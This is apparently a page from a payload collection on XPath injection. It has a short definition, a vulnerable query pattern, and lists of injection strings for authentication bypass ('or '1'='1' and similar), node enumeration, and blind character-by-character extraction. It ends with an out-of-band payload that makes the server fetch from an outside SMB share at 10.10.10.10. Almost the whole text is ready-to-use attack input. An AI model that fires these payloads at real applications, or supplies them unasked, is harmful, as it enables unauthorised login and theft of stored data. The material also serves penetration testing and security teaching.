|
||
|
||
> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

|
||
## Exploitation
|
||
|
||
Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`
|
||
|
||
```sql
|
||
' or '1'='1
|
||
' or ''='
|
||
x' or 1=1 or 'x'='y
|
||
/
|
||
//
|
||
//*
|
||
*/*
|
||
@*
|
||
count(/child::node())
|
||
x' or name()='username' or 'x'='y
|
||
' and count(/*)=1 and '1'='1
|
||
' and count(/@*)=1 and '1'='1
|
||
' and count(/comment())=1 and '1'='1
|
||
```
|
||
|
||
## Blind Exploitation
|
||
|
||
1. Size of a string
|
||
```sql
|
||
and string-length(account)=SIZE_INT
|
||
```
|
||
2. Extract a character
|
||
```sql
|
||
substring(//user[userid=5]/username,2,1)=CHAR_HERE
|
||
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
||
```
|
||
|
||
## Out Of Band Exploitation
|
||
|
||
```powershell
|
||
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
|
||
```
